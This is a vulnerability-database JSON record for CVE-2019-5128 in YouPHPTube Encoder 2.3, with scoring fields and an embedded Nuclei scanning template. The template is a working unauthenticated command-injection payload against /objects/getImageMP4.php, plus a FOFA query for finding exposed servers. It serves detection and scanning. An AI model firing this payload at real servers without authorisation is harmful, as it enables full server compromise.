{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-5128/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-5128/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-5128/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-5128/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-5128/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-5128"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-5128"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.30174,
      "kev": false,
      "percentile": 0.9814
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2019/CVE-2019-5128.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2019-5128\n\ninfo:\n  name: YouPHPTube Encoder - Arbitrary File Write\n  author: pussycat0x\n  severity: critical\n  description: |\n    Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack.\n  impact: |\n    Unauthenticated attackers can execute arbitrary system commands through command injection, leading to complete server compromise and potential access to all media content.\n  remediation: |\n    Upgrade to YouPHPTube Encoder version 2.4 or later, or apply vendor-provided security patches.\n  reference:\n    - https://xz.aliyun.com/news/6312\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-5128\n    cwe-id: CWE-78\n    epss-score: 0.30174\n    epss-percentile: 0.9814\n    cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: youphptube\n    product: youphptube_encoder\n    fofa-query: icon_hash=\"-276846707\"\n  tags: cve,cve2019,youphptube,intrusive,encoder,vkev,vuln\n\nvariables:\n  file_name: \"{{rand_text_alpha(4)}}.txt\"\n  content: \"id\"\n  payload: '{{base64(concat(\"`\", content, \" > \", file_name, \"`\"))}}'\n\nhttp:\n  - raw:\n      - |\n        GET /objects/getImageMP4.php?base64Url={{payload}}&format=jpg HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n      - |\n        GET /objects/{{file_name}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body_2\n        regex:\n          - \"uid=[0-9]+.*gid=[0-9]+.*\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022078883bc984e06536818d45c44eb0ce3c20949aea4189bd358504b29e4e04dd760221009dd7bda9c02a9e57115376e76939f99d8b98d81abbc1f3d39fe8d5465641f507:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2019-5128"
}